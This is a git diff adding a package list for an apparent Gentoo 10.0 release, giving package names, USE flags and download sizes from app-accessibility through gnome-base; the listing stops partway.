new file mode 100644
index 00000000..35bd5d1d
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/releases/10.0/ten_package_list.txt
@@ -0,0 +1,1577 @@
+sys-apps/portage	USE="-build* -doc -epydoc (-selinux)" LINGUAS="-pl" 680 kB
+app-accessibility/brltty	USE="X bluetooth gpm iconv nls python usb -doc -icu -java -ocaml -tcl" 2,086 kB
+app-accessibility/espeak	USE="portaudio -pulseaudio" 1,369 kB
+app-accessibility/espeakup	25 kB
+app-accessibility/speakup	111 kB
+app-admin/conky	USE="X audacious hddtemp ipv6 mpd nano-syntax rss truetype vim-syntax wifi -debug -nvidia -smapi" 432 kB
+app-admin/eselect	USE="-bash-completion -doc" 151 kB
+app-admin/eselect-cblas	0 kB
+app-admin/eselect-ctags	8 kB
+app-admin/eselect-emacs	0 kB
+app-admin/eselect-esd	2 kB
+app-admin/eselect-fontconfig	0 kB
+app-admin/eselect-opengl	57 kB
+app-admin/eselect-python	5 kB
+app-admin/eselect-vi	2 kB
+app-admin/eselect-wxwidgets	0 kB
+app-admin/eselect-xvmc	0 kB
+app-admin/gam-server	USE="-debug" 0 kB
+app-admin/gamin	0 kB
+app-admin/gkrellm	USE="X nls ssl -gnutls -hddtemp -lm_sensors -ntlm" 731 kB
+app-admin/hddtemp	USE="nls" 256 kB
+app-admin/hwreport	11 kB
+app-admin/ide-smart	20 kB
+app-admin/localepurge	5 kB
+app-admin/logrotate	USE="(-selinux)" 43 kB
+app-admin/passook	2 kB
+app-admin/perl-cleaner	6 kB
+app-admin/pessulus	USE="-debug -doc" 177 kB
+app-admin/pwgen	USE="livecd" 31 kB
+app-admin/python-updater	7 kB
+app-admin/quickswitch	USE="ncurses" 20 kB
+app-admin/sabayon	USE="-debug" 682 kB
+app-admin/sudo	USE="ldap pam -offensive (-selinux) -skey" 739 kB
+app-admin/superadduser	0 kB
+app-admin/syslog-ng	USE="ipv6 tcpd -hardened (-selinux) -spoof-source -sql -static" 414 kB
+app-admin/sysstat	USE="nls" 288 kB
+app-admin/system-config-printer-common	USE="-doc" 986 kB
+app-admin/usbview	345 kB
+app-antivirus/clamav	USE="bzip2 iconv ipv6 -clamdtop -milter (-selinux)" 24,548 kB
+app-arch/afio	175 kB
+app-arch/alien	USE="bzip2" 74 kB
+app-arch/arc	81 kB
+app-arch/arj	453 kB
+app-arch/bzip2	USE="-static" 822 kB
+app-arch/cabextract	USE="-extra-tools" 190 kB
+app-arch/cfv	67 kB
+app-arch/cpio	USE="nls" 741 kB
+app-arch/deb2targz	2 kB
+app-arch/dpkg	USE="bzip2 nls unicode zlib -test" 6,885 kB
+app-arch/dump	USE="readline -ermt -static" 277 kB
+app-arch/file-roller	USE="-nautilus" 1,450 kB
+app-arch/gzip	USE="nls -pic -static" 452 kB
+app-arch/lha	279 kB
+app-arch/libarchive	USE="acl bzip2 lzma zlib -static -xattr" 1,219 kB
+app-arch/lzop	326 kB
+app-arch/mscompress	41 kB
+app-arch/mt-st	36 kB
+app-arch/ncompress	33 kB
+app-arch/p7zip	USE="-doc (-static)" 1,903 kB
+app-arch/par2cmdline	234 kB
+app-arch/pbzip2	USE="-static" 27 kB
+app-arch/rar	803 kB
+app-arch/rpm	USE="nls perl python -doc -sqlite" 16,756 kB
+app-arch/rpm2targz	5 kB
+app-arch/rzip	46 kB
+app-arch/sharutils	USE="nls" 626 kB
+app-arch/tar	USE="nls -static" 1,868 kB
+app-arch/unace	21 kB
+app-arch/unarj	22 kB
+app-arch/unrar	133 kB
+app-arch/unzip	 1,114 kB
+app-arch/upx	372 kB
+app-arch/xarchiver	USE="-debug" 738 kB
+app-arch/xz-utils	1,014 kB
+app-arch/zip	USE="crypt" 789 kB
+app-arch/zoo	188 kB
+app-backup/dar	USE="acl nls ssl -dar32 -dar64 -doc" 1,168 kB
+app-backup/duplicity	USE="-s3" 206 kB
+app-backup/flexbackup	79 kB
+app-backup/luckybackup	USE="-debug" 2,237 kB
+app-backup/rdiff-backup	USE="acl -xattr" 192 kB
+app-backup/rsnapshot	211 kB
+app-benchmarks/bonnie++	USE="-debug" 107 kB
+app-benchmarks/cpuburn	8 kB
+app-benchmarks/dbench	2,008 kB
+app-benchmarks/httperf	USE="ssl -debug" 143 kB
+app-benchmarks/iozone	1,410 kB
+app-benchmarks/stress	USE="-static" 174 kB
+app-benchmarks/tiobench	28 kB
+app-cdr/bin2iso	10 kB
+app-cdr/brasero	USE="cdr libburn nautilus totem -beagle" 3,235 kB
+app-cdr/ccd2iso	155 kB
+app-cdr/cdrdao	USE="encode mad vorbis -gcdmaster -pccts" 1,403 kB
+app-cdr/cdrkit	USE="unicode -hfs" 1,397 kB
+app-cdr/dvd+rw-tools	138 kB
+app-cdr/k9copy	USE="(-aqua)" LINGUAS="ca* -cs -de -el -es -es_AR -et -fr -it -nl -pl -pt_BR -ru -sr -sr@Latn -tr -zh_TW" 1,549 kB
+app-cdr/mdf2iso	96 kB
+app-cdr/nrg2iso	9 kB
+app-cdr/xfburn	USE="dbus gstreamer hal thunar -debug" 612 kB
+app-crypt/aespipe	USE="-static" 90 kB
+app-crypt/aesutil	34 kB
+app-crypt/gnupg	USE="bzip2 ldap nls -caps -doc -openct -pcsc-lite (-selinux) -smartcard -static" 3,763 kB
+app-crypt/gpgme	USE="-pth" 1,089 kB
+app-crypt/hashalot	79 kB
+app-crypt/johntheripper	USE="sse2 (-altivec) -custom-cflags -minimal (-mmx) -mpi" 884 kB
+app-crypt/mcrypt	USE="nls" 501 kB
+app-crypt/md5deep	242 kB
+app-crypt/mhash	899 kB
+app-crypt/mit-krb5	USE="-doc -krb4" 11,636 kB
+app-crypt/pinentry	USE="gtk ncurses -caps -qt3" 413 kB
+app-crypt/qca	USE="-debug -doc -examples" 1,892 kB
+app-crypt/qca-ossl	USE="-debug" 49 kB
+app-crypt/seahorse	USE="dbus ldap libnotify xulrunner -applet -avahi -debug -epiphany -gedit -gnome-keyring -nautilus" 2,072 kB
+app-dicts/aspell-ca	218 kB
+app-dicts/aspell-cy	115 kB
+app-dicts/aspell-en	179 kB
+app-dicts/aspell-eo	88 kB
+app-dicts/aspell-gl	110 kB
+app-doc/gnucash-docs	9,789 kB
+app-editors/bluefish	USE="gnome nls spell" 1,461 kB
+app-editors/emacs	USE="X alsa dbus gif gpm gtk jpeg png svg tiff xpm -Xaw3d -gzip-el -hesiod -kerberos -m17n-lib -motif -sound -source -toolkit-scroll-bars -xft" 33,577 kB
+app-editors/gedit	USE="python spell -doc -xattr" 3,984 kB
+app-editors/gvim	USE="acl gnome gpm gtk nls perl python (-aqua) -bash-completion -cscope -motif -netbeans -nextaw -ruby" 0 kB
+app-editors/hexcurse	111 kB
+app-editors/hexedit	65 kB
+app-editors/joe	USE="-xterm" 600 kB
+app-editors/mousepad	USE="-debug" 325 kB
+app-editors/nano	USE="ncurses nls spell* unicode -debug -justify -minimal -slang" 1,450 kB
+app-editors/qemacs	USE="X png unicode xv" 1,388 kB
+app-editors/scite	USE="-lua" 1,533 kB
+app-editors/vim	USE="acl gpm nls perl python -bash-completion -cscope -minimal -ruby -vim-pager -vim-with-x" 0 kB
+app-editors/vim-core	USE="acl livecd nls -bash-completion" 9,335 kB
+app-editors/xemacs	USE="X berkdb gdbm gif gpm jpeg ldap png tiff -Xaw3d -athena -canna -dnd -eolconv -esd -freewnn -motif -mule -nas -neXt -pop -postgres -xface -xim" 8,201 kB
+app-editors/zile	691 kB
+app-emacs/emacs-common-gentoo	USE="X -emacs22icons" 46 kB
+app-emulation/emul-linux-x86-baselibs	24,596 kB
+app-emulation/emul-linux-x86-medialibs	2,007 kB
+app-emulation/emul-linux-x86-sdl	1,262 kB
+app-emulation/emul-linux-x86-soundlibs	USE="alsa arts -esd" 3,951 kB
+app-emulation/emul-linux-x86-xlibs	USE="opengl" 19,813 kB
+app-forensics/autopsy	343 kB
+app-forensics/chkrootkit	42 kB
+app-forensics/memdump	13 kB
+app-forensics/sleuthkit	USE="-dbtool" 1,980 kB
+app-i18n/enca	USE="-doc" 492 kB
+app-laptop/i8kutils	USE="-tk" 40 kB
+app-laptop/laptop-mode-tools	USE="acpi -apm" 85 kB
+app-laptop/radeontool	21 kB
+app-misc/beep	19 kB
+app-misc/ca-certificates	148 kB
+app-misc/ckermit	2,812 kB
+app-misc/colordiff	18 kB
+app-misc/dtach	55 kB
+app-misc/emelfm2	USE="acl fam hal unicode" 1,123 kB
+app-misc/hal-cups-utils	105 kB
+app-misc/hal-info	135 kB
+app-misc/livecd-tools	USE="X opengl" 11 kB
+app-misc/mc	USE="X edit gpm nls samba slang -chdir" 2,792 kB
+app-misc/mime-types	7 kB
+app-misc/pax-utils	USE="-caps" 76 kB
+app-misc/screen	USE="pam -debug -multiuser -nethack (-selinux)" 821 kB
+app-misc/splitvt	74 kB
+app-misc/strigi	USE="clucene dbus fam qt4 -debug -exif -hyperestraier -inotify -log -test" 916 kB
+app-misc/symlinks	USE="-static" 8 kB
+app-misc/vlock	USE="pam -test" 54 kB
+app-misc/wipe	70 kB
+app-office/abiword	USE="gnome spell xml -debug" 9,060 kB
+app-office/abiword-plugins	USE="gnome jpeg pdf readline svg -cxx -debug -grammar -jabber -libgda -math -ots -thesaurus -wmf -wordperfect" 1,737 kB
+app-office/akonadi-server	USE="sqlite -mysql" 174 kB
+app-office/dia	USE="cairo gnome png python zlib -debug -doc" 6,579 kB
+app-office/dia2code	70 kB
+app-office/gnucash	USE="doc -chipcard -debug -hbci -ofx -quotes" 5,089 kB
+app-office/gnumeric	USE="gnome perl python -debug" 13,758 kB
+app-office/grisbi	USE="nls -ofx -print" 980 kB
+app-office/openoffice-bin	USE="gnome kde -java" LINGUAS="ca* en* -af -ar -as_IN -be_BY -bg -br -bs -cs -da -de -dz -el -en_GB -en_ZA -es -et -fi -fr -ga -gu -he -hi_IN -hr -hu -it -ja -ka -km -ko -lt -mk -ml_IN -mr_IN -nb -ne -nl -nn -nr -ns -or_IN -pa_IN -pl -pt -pt_BR -ru -rw -sh -sk -sl -sr -ss -st -sv -sw_TZ -ta -te_IN -tg -th -ti_ER -tr -ts -uk -ur_IN -ve -vi -xh -zh_CN -zh_TW -zu" 180,844 kB
+app-office/orage	USE="berkdb dbus libnotify -debug" 1,893 kB
+app-office/planner	USE="eds python -debug -doc -examples -libgda" 3,651 kB
+app-office/scribus	USE="cairo" 12,991 kB
+app-office/texmaker	1,727 kB
+app-pda/gtkpod	USE="aac flac gnome hal nls ogg -mp3" 1,505 kB
+app-pda/pilot-link	USE="perl png python readline usb (-bluetooth) -debug -java -threads" 939 kB
+app-portage/genlop	USE="-bash-completion" 21 kB
+app-portage/gentoolkit	87 kB
+app-portage/gentoolkit-dev	49 kB
+app-portage/layman	USE="-git -subversion -test" 46 kB
+app-portage/mirrorselect	9 kB
+app-portage/portage-utils	78 kB
+app-portage/ufed	20 kB
+app-shells/bash	[3.2_p39
+app-shells/bash-completion	141 kB
+app-shells/gentoo-bashcomp	23 kB
+app-shells/ksh	USE="nls" 2,582 kB
+app-shells/tcsh	USE="perl -catalogs" 868 kB
+app-shells/zsh	USE="gdbm pcre unicode -caps -debug -doc -examples -maildir -static" 2,598 kB
+app-shells/zsh-completion	19 kB
+app-text/a2ps	USE="nls -cjk -emacs -latex -vanilla" 2,340 kB
+app-text/agrep	61 kB
+app-text/aspell	USE="gpm nls -examples" LINGUAS="ca* cy* en* eo* gl* -af -be -bg -br -cs -da -de -el -es -et -fi -fo -fr -ga -he -hr -is -it -nl -no -pl -pt -ro -ru -sk -sl -sr -sv -uk -vi" 1,737 kB
+app-text/build-docbook-catalog	3 kB
+app-text/docbook-xml-dtd	74 kB
+app-text/docbook-xml-dtd	82 kB
+app-text/docbook-xml-dtd	94 kB
+app-text/docbook-xsl-stylesheets	2,262 kB
+app-text/dos2unix	14 kB
+app-text/enchant	USE="hunspell -aspell -zemberek" 582 kB
+app-text/epdfview	USE="cups nls -test" 397 kB
+app-text/evince	USE="dbus tiff -debug -djvu -doc -dvi -gnome-keyring -nautilus -t1lib" 1,677 kB
+app-text/ghostscript-gpl	USE="X bindist cairo cups gtk -cjk -djvu -jpeg2k" 16,537 kB
+app-text/gnome-doc-utils	USE="-debug" 605 kB
+app-text/gtkspell	USE="-doc" 372 kB
+app-text/hunspell	USE="ncurses nls readline" 766 kB
+app-text/iso-codes	5,199 kB
+app-text/libpaper	343 kB
+app-text/libspectre	USE="-debug -doc -test" 383 kB
+app-text/openjade	874 kB
+app-text/opensp	USE="nls -doc" 1,486 kB
+app-text/po4a	USE="-test" 862 kB
+app-text/poppler-data	3,973 kB
+app-text/poppler-utils	USE="abiword" 0 kB
+app-text/psutils	61 kB
+app-text/rarian	USE="-debug" 317 kB
+app-text/recode	USE="nls" 2,020 kB
+app-text/scrollkeeper	0 kB
+app-text/scrollkeeper-dtd	11 kB
+app-text/sgml-common	75 kB
+app-text/texi2html	460 kB
+app-text/texlive-core	USE="X -doc -source -tk" 23,278 kB
+app-text/unix2dos	6 kB
+app-text/wgetpaste	USE="-zsh-completion" 9 kB
+app-text/wv	USE="-wmf" 615 kB
+app-xemacs/xemacs-base	526 kB
+dev-cpp/cairomm	USE="-doc" 779 kB
+dev-cpp/clucene	USE="-debug -doc -threads" 1,504 kB
+dev-cpp/eigen	USE="-debug -doc -examples" 350 kB
+dev-cpp/glibmm	USE="-debug -doc -examples -test" 7,430 kB
+dev-cpp/gtkmm	USE="-debug -doc -examples -test" 9,095 kB
+dev-cpp/pangomm	USE="-debug -doc" 973 kB
+dev-db/mysql	USE="berkdb community embedded perl ssl -big-tables -cluster -debug -extraengine -latin1 -max-idx-128 -minimal -profiling (-selinux) -static" 35,973 kB
+dev-db/mysql-init-scripts	0 kB
+dev-db/sqlite	USE="readline threadsafe -debug -doc -soundex -tcl" 2,912 kB
+dev-games/ggz-client-libs	USE="-debug" 600 kB
+dev-games/libggz	USE="-debug -gnutls" 467 kB
+dev-games/physfs	USE="zip -doc -grp -hog -mvl -qpak -wad" 656 kB
+dev-java/ant-core	USE="-doc -source" 6,828 kB
+dev-java/ant-owanttask	10 kB
+dev-java/asm	USE="-doc -source" 670 kB
+dev-java/bcel	USE="-doc -source" 256 kB
+dev-java/commons-logging	USE="-avalon-framework -avalon-logkit -doc -log4j -servletapi -source -test" 187 kB
+dev-java/commons-net	USE="-doc -examples -source" 224 kB
+dev-java/icu4j	USE="-doc -source -test" 13,460 kB
+dev-java/jakarta-oro	USE="-doc -examples -source" 338 kB
+dev-java/java-config	56 kB
+dev-java/java-config-wrapper	8 kB
+dev-java/javacc	USE="-doc -examples -source -test" 748 kB
+dev-java/javacup	USE="-source" 187 kB
+dev-java/javatoolkit	17 kB
+dev-java/jgoodies-looks	USE="-doc" 1,770 kB
+dev-java/jmdns	USE="-doc -examples -source" 155 kB
+dev-java/junit	USE="-doc -source" 451 kB
+dev-java/jython	USE="readline -doc -examples -mysql -oracle -postgres -servletapi -source" 11,107 kB
+dev-java/libreadline-java	USE="-doc -source" 76 kB
+dev-java/log4j	USE="-doc -javamail -jms -jmx -source" 2,051 kB
+dev-java/sun-jdk	USE="X alsa -derby -doc -examples -jce -nsplugin -odbc" 79,977 kB
+dev-java/xalan	USE="-doc -source" 0 kB
+dev-java/xalan-serializer	USE="-doc -source" 6,138 kB
+dev-java/xerces	USE="-doc -examples -source" 1,672 kB
+dev-java/xjavac	2 kB
+dev-java/xml-commons-external	USE="-doc -source" 645 kB
+dev-java/xml-commons-resolver	USE="-doc -source" 257 kB
+dev-lang/fpc	USE="-doc -source" 61,393 kB
+dev-lang/lua	USE="deprecated readline -static" 212 kB
+dev-lang/nasm	USE="-doc" 762 kB
+dev-lang/perl	USE="berkdb gdbm -build -debug -doc -ithreads -perlsuid" 9,887 kB
+dev-lang/python	USE="berkdb gdbm ipv6 ncurses readline ssl threads xml -build -doc -examples -sqlite -tk -ucs2 -wininst" 10,907 kB
+dev-lang/spidermonkey	USE="-threadsafe" 1,139 kB
+dev-lang/swig	USE="perl python -R -chicken -clisp -doc -guile -java -lua -mono -mzscheme -ocaml -octave -php -pike -ruby -tcl -tk" 4,498 kB
+dev-lang/tcl	USE="-debug -threads" 3,568 kB
+dev-lang/tk	USE="-debug -threads" 3,286 kB
+dev-lang/yasm	USE="nls" 1,387 kB
+dev-libs/apr	USE="urandom -debug -doc -older-kernels-compatibility" 1,138 kB
+dev-libs/apr-util	USE="berkdb gdbm ldap -doc -freetds -mysql -odbc -postgres -sqlite -sqlite3" 773 kB
+dev-libs/atk	USE="-debug -doc" 703 kB
+dev-libs/beecrypt	USE="python -java -nocxx -threads" 757 kB
+dev-libs/boehm-gc	USE="-nocxx -threads" 740 kB
+dev-libs/boost	USE="-debug -doc -expat -icu -mpi -tools" 5 kB
+dev-libs/cdk	388 kB
+dev-libs/check	509 kB
+dev-libs/cyrus-sasl	USE="berkdb crypt gdbm ldap pam ssl -authdaemond -java -kerberos -mysql -ntlm_unsupported_patch -postgres -sample -srp -urandom" 1,576 kB
+dev-libs/dbus-glib	USE="-debug -doc (-selinux)" 652 kB
+dev-libs/elfutils	1,380 kB
+dev-libs/eventlog	323 kB
+dev-libs/expat	436 kB
+dev-libs/fribidi	580 kB
+dev-libs/gdl	USE="gnome -debug" 439 kB
+dev-libs/glib	USE="-hardened" 421 kB
+dev-libs/glib	USE="fam -debug -doc -hardened (-selinux) -xattr" 4,920 kB
+dev-libs/gmime	USE="-debug -doc -mono" 1,041 kB
+dev-libs/gmp	USE="-nocxx" 1,671 kB
+dev-libs/gnome-build	USE="-debug" 543 kB
+dev-libs/libaio	51 kB
+dev-libs/libassuan	291 kB
+dev-libs/libburn	702 kB
+dev-libs/libcdio	USE="cxx -cddb -minimal" 2,035 kB
+dev-libs/libconfig	494 kB
+dev-libs/libcroco	USE="-debug -doc" 406 kB
+dev-libs/libevent	488 kB
+dev-libs/libgamin	USE="python -debug" 639 kB
+dev-libs/libgcrypt	1,117 kB
+dev-libs/libgpg-error	USE="nls" 395 kB
+dev-libs/libgweather	USE="python -debug" 6,928 kB
+dev-libs/libical	1,119 kB
+dev-libs/libIDL	USE="-debug" 377 kB
+dev-libs/libisofs	531 kB
+dev-libs/libksba	557 kB
+dev-libs/libmcrypt	1,304 kB
+dev-libs/libmcs	USE="gnome" 106 kB
+dev-libs/libmix	USE="-no-net2" 78 kB
+dev-libs/libmowgli	USE="-examples" 95 kB
+dev-libs/libnl	283 kB
+dev-libs/liboil	USE="-doc" 803 kB
+dev-libs/libpcre	USE="bzip2 cxx (unicode) zlib -doc -static-libs" 842 kB
+dev-libs/libpthread-stubs	USE="-debug" 190 kB
+dev-libs/libsigc++	USE="-debug -doc -test" 4,403 kB
+dev-libs/libtasn1	USE="-doc" 1,449 kB
+dev-libs/libusb	USE="-debug -doc -nocxx" 381 kB
+dev-libs/libxml2	USE="ipv6 python readline -debug -doc -examples -test" 4,678 kB
+dev-libs/libxslt	USE="crypt python -debug -examples" 3,286 kB
+dev-libs/libzip	415 kB
+dev-libs/lzo	USE="-examples" 586 kB
+dev-libs/mpfr	883 kB
+dev-libs/newt	USE="gpm -tcl" 277 kB
+dev-libs/nspr	USE="ipv6 -debug" 1,143 kB
+dev-libs/nss	USE="-utils" 3,972 kB
+dev-libs/openobex	USE="bluetooth usb -debug -irda -syslog" 392 kB
+dev-libs/openssl	USE="bindist* (sse2) zlib -gmp -kerberos -test" 3,762 kB
+dev-libs/poppler	USE="abiword poppler-data" 1,496 kB
+dev-libs/poppler-glib	USE="cairo" 0 kB
+dev-libs/poppler-qt4	USE="-test" 0 kB
+dev-libs/popt	USE="nls" 712 kB
+dev-libs/pth	USE="-debug" 638 kB
+dev-libs/pwlib	USE="alsa ipv6 ldap sdl ssl xml -debug -ieee1394 -oss -sasl -v4l -v4l2" 2,214 kB
+dev-libs/soprano	USE="clucene dbus java raptor -debug -doc -redland" 1,867 kB
+dev-libs/totem-pl-parser	USE="hal -doc" 608 kB
+dev-libs/xmlrpc-c	USE="cgi curl cxx -abyss -threads -tools" 540 kB
+dev-libs/zziplib	USE="sdl -test" 640 kB
+dev-perl/Authen-SASL	USE="-kerberos" 50 kB
+dev-perl/Crypt-PasswdMD5	5 kB
+dev-perl/Crypt-SSLeay	121 kB
+dev-perl/Curses	81 kB
+dev-perl/CursesWidgets	40 kB
+dev-perl/DateManip	139 kB
+dev-perl/DBD-mysql	120 kB
+dev-perl/DBI	484 kB
+dev-perl/Digest-HMAC	14 kB
+dev-perl/Digest-SHA1	38 kB
+dev-perl/Error	17 kB
+dev-perl/extutils-depends	11 kB
+dev-perl/extutils-pkgconfig	7 kB
+dev-perl/glib-perl	247 kB
+dev-perl/HTML-Parser	USE="-test" 87 kB
+dev-perl/HTML-Tagset	8 kB
+dev-perl/HTML-Tree	119 kB
+dev-perl/IO-Socket-SSL	USE="-idn" 64 kB
+dev-perl/IO-String	8 kB
+dev-perl/libwww-perl	USE="ssl" 261 kB
+dev-perl/libxml-perl	63 kB
+dev-perl/Locale-gettext	8 kB
+dev-perl/Net-Daemon	28 kB
+dev-perl/Net-SMTP-SSL	2 kB
+dev-perl/Net-SSLeay	130 kB
+dev-perl/Parse-Yapp	47 kB
+dev-perl/PlRPC	18 kB
+dev-perl/SGMLSpm	92 kB
+dev-perl/TermReadKey	37 kB
+dev-perl/Text-CharWidth	9 kB
+dev-perl/Text-WrapI18N	4 kB
+dev-perl/TimeDate	22 kB
+dev-perl/URI	95 kB
+dev-perl/XML-DOM	115 kB
+dev-perl/XML-LibXML	271 kB
+dev-perl/XML-LibXML-Common	13 kB
+dev-perl/XML-NamespaceSupport	8 kB
+dev-perl/XML-Parser	225 kB
+dev-perl/XML-RegExp	4 kB
+dev-perl/XML-SAX	59 kB
+dev-perl/XML-Simple	70 kB
+dev-perl/XML-XQL	118 kB
+dev-perl/yaml	91 kB
+dev-python/bug-buddy-python	USE="-debug" 0 kB
+dev-python/cython	USE="-doc -examples" 3,190 kB
+dev-python/dbus-python	USE="-test" 463 kB
+dev-python/dnspython	USE="-examples" 98 kB
+dev-python/evolution-python	USE="-debug" 0 kB
+dev-python/gconf-python	USE="-debug -examples" 0 kB
+dev-python/gdata	USE="-examples" 1,046 kB
+dev-python/gnome-applets-python	USE="-debug -examples" 0 kB
+dev-python/gnome-desktop-python	USE="-debug" 0 kB
+dev-python/gnome-keyring-python	USE="-debug -examples" 0 kB
+dev-python/gnome-media-python	USE="-debug -examples" 0 kB
+dev-python/gnome-python	0 kB
+dev-python/gnome-python-base	USE="-debug" 575 kB
+dev-python/gnome-python-desktop	0 kB
+dev-python/gnome-python-desktop-base	USE="-debug" 607 kB
+dev-python/gnome-vfs-python	USE="-debug -doc -examples" 0 kB
+dev-python/gst-python	USE="-examples" 560 kB
+dev-python/gtksourceview-python	USE="-debug -doc -examples" 0 kB
+dev-python/libbonobo-python	USE="-debug -examples" 0 kB
+dev-python/libgnome-python	USE="-debug -examples" 0 kB
+dev-python/libgnomecanvas-python	USE="-debug -examples" 0 kB
+dev-python/libgnomeprint-python	USE="-debug -doc -examples" 0 kB
+dev-python/libgtop-python	USE="-debug" 0 kB
+dev-python/librsvg-python	USE="-debug -examples" 0 kB
+dev-python/libwnck-python	USE="-debug -examples" 0 kB
+dev-python/lxml	USE="threads -doc -examples" 2,877 kB
+dev-python/metacity-python	USE="-debug" 0 kB
+dev-python/nautilus-cd-burner-python	USE="-debug -examples" 0 kB
+dev-python/notify-python	210 kB
+dev-python/numpy	USE="-lapack -test" 1,950 kB
+dev-python/pexpect	USE="-doc -examples" 148 kB
+dev-python/py-gnupg	20 kB
+dev-python/pycairo	USE="-examples" 507 kB
+dev-python/pycrypto	USE="bindist -gmp -test" 151 kB
+dev-python/pycups	USE="-doc -examples" 41 kB
+dev-python/pygobject	USE="X -debug -doc -examples -libffi -test" 625 kB
+dev-python/pygtk	USE="X -doc -examples" 2,159 kB
+dev-python/pygtkglext	USE="-examples" 341 kB
+dev-python/pygtksourceview	USE="-debug -doc" 265 kB
+dev-python/pylibacl	25 kB
+dev-python/pyopengl	USE="-tk" 624 kB
+dev-python/pyopenssl	USE="-doc" 194 kB
+dev-python/pyorbit	USE="-debug" 287 kB
+dev-python/pyparted	19 kB
+dev-python/PyQt4	USE="X dbus kde opengl sql svg webkit -assistant -debug -doc -examples -phonon -xmlpatterns" 6,808 kB
+dev-python/pyrex	USE="-examples" 237 kB
+dev-python/pysqlite	USE="-examples" 72 kB
+dev-python/python-fchksum	27 kB
+dev-python/python-ldap	USE="ssl -doc -examples -sasl" 106 kB
+dev-python/pyxattr	19 kB
+dev-python/pyxdg	37 kB
+dev-python/pyxml	USE="-doc -examples" 718 kB
+dev-python/setuptools	253 kB
+dev-python/sip	USE="-debug -doc" 601 kB
+dev-python/totem-python	USE="-debug" 0 kB
+dev-python/twisted	USE="crypt gtk -serial" 1,167 kB
+dev-python/twisted-web	269 kB
+dev-python/urwid	USE="-examples" 180 kB
+dev-python/wxpython	USE="opengl unicode" 0 kB
+dev-scheme/guile	USE="deprecated nls regex threads -debug -debug-freelist -debug-malloc -discouraged -elisp -emacs -networking" 3,842 kB
+dev-scheme/guile-www	267 kB
+dev-scheme/slib	1,031 kB
+dev-tex/luatex	USE="-doc" 6,724 kB
+dev-tex/mplib	USE="lua" 1,522 kB
+dev-texlive/texlive-basic	USE="-doc -source" 3,739 kB
+dev-texlive/texlive-documentation-base	USE="-source" 745 kB
+dev-texlive/texlive-latex	USE="-doc -source" 952 kB
+dev-texlive/texlive-latexrecommended	USE="-doc -source" 971 kB
+dev-util/anjuta	USE="-debug -devhelp -doc -glade -inherit-graph -sourceview -subversion -valgrind" 5,406 kB
+dev-util/boost-build	USE="python -examples" 22,868 kB
+dev-util/ccache	85 kB
+dev-util/cmake	USE="qt4 -emacs -vim-syntax" 3,209 kB
+dev-util/ctags	USE="-ada" 281 kB
+dev-util/cvs	USE="crypt nls pam -doc -kerberos -server" 3,123 kB
+dev-util/debhelper	USE="nls" LINGUAS="-es -fr" 287 kB
+dev-util/desktop-file-utils	USE="-emacs" 341 kB
+dev-util/devhelp	USE="zlib" 0 kB
+dev-util/dialog	USE="nls unicode -examples" 370 kB
+dev-util/ftjam	211 kB
+dev-util/giggle	USE="eds -debug" 408 kB
+dev-util/git	USE="gtk iconv perl -bash-completion -cgi -curl -cvs -doc -emacs -mozsha1 (-ppcsha1) -subversion -threads -tk -webdav -xinetd" 2,252 kB
+dev-util/gob	USE="-debug" 204 kB
+dev-util/gperf	845 kB
+dev-util/gtk-doc-am	443 kB
+dev-util/indent	USE="nls" 663 kB
+dev-util/intltool	138 kB
+dev-util/kdesvn	USE="handbook (-aqua) -debug" LINGUAS="-cs -de -es -fr -ja -lt -nl -ru" 1,634 kB
+dev-util/kdevelop	USE="cmake cxx qmake (-aqua) -debug" 2,509 kB
+dev-util/kdevplatform	USE="(-aqua) -cvs -debug -git -mercurial -subversion" 1,033 kB
+dev-util/ltrace	145 kB
+dev-util/pkgconfig	USE="-hardened" 1,009 kB
+dev-util/qgit	157 kB
+dev-util/qt-creator	USE="cmake debugger designer kde -bineditor -bookmarks -debug -doc -examples -fakevim -git -perforce -qtscript -subversion" LINGUAS="-de -es -it -ja -ru" 8,429 kB
+dev-util/scons	USE="-doc" 556 kB
+dev-util/strace	USE="-aio -static" 470 kB
+dev-util/subversion	USE="berkdb dso nls perl python webdav-neon -apache2 -bash-completion -ctypes-python -debug -doc -emacs -extras -gnome-keyring -java -ruby -sasl -test -vim-syntax -webdav-serf" 5,356 kB
+dev-util/valgrind	5,063 kB
+dev-util/xfce4-dev-tools	61 kB
+dev-util/yacc	64 kB
+games-action/supertuxkart	94,179 kB
+games-arcade/lbreakout2	USE="-themes" 3,005 kB
+games-simulation/lincity-ng	38,551 kB
+games-simulation/simutrans	2,112 kB
+games-strategy/hedgewars	40,498 kB
+games-strategy/wesnoth	USE="nls -dedicated -server -tinygui" 224,465 kB
+gnome-base/eel	USE="X -debug -test" 583 kB
+gnome-base/gail	0 kB
+gnome-base/gconf	USE="ldap -debug -doc" 1,434 kB
+gnome-base/gdm	USE="branding ipv6 pam tcpd -accessibility -afs -debug -dmx -gnome-keyring -remote (-selinux) -xinerama" 4,346 kB
+gnome-base/gnome	USE="cdr cups dvdr ldap -accessibility -esd -mono" 0 kB
+gnome-base/gnome-applets	USE="acpi gnome gstreamer hal ipv6 -apm -debug -doc" 7,696 kB
+gnome-base/gnome-common	USE="-debug" 64 kB
+gnome-base/gnome-control-center	USE="eds hal sound -debug" 2,064 kB
+gnome-base/gnome-desktop	USE="-debug -doc" 1,475 kB
+gnome-base/gnome-keyring	USE="hal pam -debug -doc -test" 874 kB
+gnome-base/gnome-menus	USE="python -debug" 443 kB
+gnome-base/gnome-mime-data	USE="-debug" 593 kB
+gnome-base/gnome-mount	USE="-debug -nautilus" 494 kB
+gnome-base/gnome-panel	USE="eds -doc -networkmanager" 3,350 kB
+gnome-base/gnome-session	USE="branding ipv6 tcpd -debug" 832 kB
+gnome-base/gnome-settings-daemon	USE="alsa gstreamer libnotify -debug -esd -pulseaudio" 1,105 kB
+gnome-base/gnome-vfs	USE="acl fam hal ipv6 ssl -avahi -debug -doc -gnutls -kerberos -samba" 1,892 kB
+gnome-base/gnome-volume-manager	USE="-automount -consolekit -debug" 366 kB
+gnome-base/gvfs	USE="bluetooth gnome hal -archive -avahi -bash-completion -cdda -debug -doc -fuse -gnome-keyring -gphoto2 -samba" 900 kB
+gnome-base/libbonobo	USE="-debug -doc" 1,431 kB
+gnome-base/libbonoboui	USE="X -doc" 966 kB
+gnome-base/libglade	USE="-debug -doc" 348 kB
+gnome-base/libgnome	USE="-debug -doc -esd" 1,384 kB
+gnome-base/libgnomecanvas	USE="X -debug -doc" 570 kB
